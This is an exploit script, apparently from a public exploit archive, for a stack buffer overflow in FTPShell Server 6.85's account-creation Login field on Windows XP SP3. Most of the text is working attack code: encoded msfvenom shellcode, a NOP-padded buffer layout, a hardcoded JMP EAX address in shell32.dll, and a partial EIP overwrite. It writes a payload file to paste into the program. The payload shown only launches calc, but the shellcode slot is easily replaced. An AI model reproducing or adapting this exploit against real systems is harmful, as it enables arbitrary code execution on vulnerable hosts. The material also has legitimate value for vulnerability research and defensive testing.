FTPShell Server 6.85 Buffer Overflow

`#!/usr/bin/python  
# Exploit Title: FTPShell Server 6.85 - Add Account Buffer Overflow  
# Date: December 2nd, 2019  
# Exploit Author: boku  
# Vendor Homepage: http://www.ftpshell.com/index.htm  
# SOftware Link: http://www.ftpshell.com/downloadserver.htm  
# Program Name: FTPShell Server (Secure Plus edition)  
# Version: Version 6.85  
# Tested on: Windows XP Professional (32-bit)- 5.1.2600 Service Pack 3 Build 2600  
# Recreate:  
# - Install FTPShell Server v6.85  
# - open 'FTPShell Server Administrator'  
# - Click button 'Manage FTP Accounts..'  
# - Click button 'Configure accounts..'   
# - Click button 'Add'  
# - Run python script & transfer 'poc.txt' to windows box  
# - Open 'poc.txt' & select-all, then copy   
# - Paste poc.txt text blob into 'Login' text-box  
# - Press button 'OK'; program will crash & shellcode will execute  
  
blt = '\033[92m[\033[0m+\033[92m]\033[0m ' # green success bullet  
err = '\033[91m[\033[0m!\033[91m]\033[0m ' # red fail bullet  
  
try:   
f = open('poc.txt', 'w') # open file for write  
# Instructions @ Crash:   
# 1. mov ecx,[esi+7c0];   
# 2. mov eax,[ecx]; lea edx, [ebp-4]; push edx;   
# 3. call [eax+2c4];  
# exploit leaves 708 bytes for shellcode.  
#msfvenom -p windows/exec CMD='calc.exe' -a x86 --platform windows -b '\x00' -v shellcode -f python  
#x86/shikata_ga_nai chosen with final size 220  
shellcode = b""  
shellcode += b"\xbb\x4f\x79\xd7\xce\xda\xde\xd9\x74\x24\xf4"  
shellcode += b"\x5a\x2b\xc9\xb1\x31\x31\x5a\x13\x83\xea\xfc"  
shellcode += b"\x03\x5a\x40\x9b\x22\x32\xb6\xd9\xcd\xcb\x46"  
shellcode += b"\xbe\x44\x2e\x77\xfe\x33\x3a\x27\xce\x30\x6e"  
shellcode += b"\xcb\xa5\x15\x9b\x58\xcb\xb1\xac\xe9\x66\xe4"  
shellcode += b"\x83\xea\xdb\xd4\x82\x68\x26\x09\x65\x51\xe9"  
shellcode += b"\x5c\x64\x96\x14\xac\x34\x4f\x52\x03\xa9\xe4"  
shellcode += b"\x2e\x98\x42\xb6\xbf\x98\xb7\x0e\xc1\x89\x69"  
shellcode += b"\x05\x98\x09\x8b\xca\x90\x03\x93\x0f\x9c\xda"  
shellcode += b"\x28\xfb\x6a\xdd\xf8\x32\x92\x72\xc5\xfb\x61"  
shellcode += b"\x8a\x01\x3b\x9a\xf9\x7b\x38\x27\xfa\xbf\x43"  
shellcode += b"\xf3\x8f\x5b\xe3\x70\x37\x80\x12\x54\xae\x43"  
shellcode += b"\x18\x11\xa4\x0c\x3c\xa4\x69\x27\x38\x2d\x8c"  
shellcode += b"\xe8\xc9\x75\xab\x2c\x92\x2e\xd2\x75\x7e\x80"  
shellcode += b"\xeb\x66\x21\x7d\x4e\xec\xcf\x6a\xe3\xaf\x85"  
shellcode += b"\x6d\x71\xca\xeb\x6e\x89\xd5\x5b\x07\xb8\x5e"  
shellcode += b"\x34\x50\x45\xb5\x71\xae\x0f\x94\xd3\x27\xd6"  
shellcode += b"\x4c\x66\x2a\xe9\xba\xa4\x53\x6a\x4f\x54\xa0"  
shellcode += b"\x72\x3a\x51\xec\x34\xd6\x2b\x7d\xd1\xd8\x98"  
shellcode += b"\x7e\xf0\xba\x7f\xed\x98\x12\x1a\x95\x3b\x6b"  
# 3. call [eax+2c4];  
# - Hexadecimal 0x2c4 = 708 decimal  
junk1 = '\x90' * (708-len(shellcode))  
# - The call [eax+2c4] instruction will pass execution to the address located at EAX+708  
# - Setting [EAX+708] to an existing JMP EAX instruction will pass execution to our shellcode  
# - 0x7c9ef4c9 jmp eax | (Execute&Read) shell32.dll; aslr&rebase: false  
jmpEax = '\xc9\xf4\x9e\x7c'  
# 1. mov ecx,[esi+7c0];   
# - ESI = 0x0012C108  
# - esi+7c0 is in our supplied buffer, on the stack, at the time of the crash.  
# - Control ECX @ offset 1568 bytes  
junk2 = '\x90' * (1568-len(shellcode+junk1+jmpEax))  
# 2. mov eax,[ecx];   
# - ECX = 0x0012B768 = PTR (located on Stack) to the beginning of our shellcode in the Heap   
# - EIP 3-Byte Overwrite - '\x68\xb7\x12'   
ecx = '\x68\xb7\x12' # - EIP 3-Byte Overwrite - '\x68\xb7\x12  
# - The '\x00' is supplied by the program when pressing the 'OK' button  
# - eax is now set to the address of our shellcode.  
f.write(shellcode+junk1+jmpEax+junk2+ecx)  
f.close() # close the file  
print blt + 'poc.txt created successfully'  
except:  
print err + 'poc.txt failed to create'  
`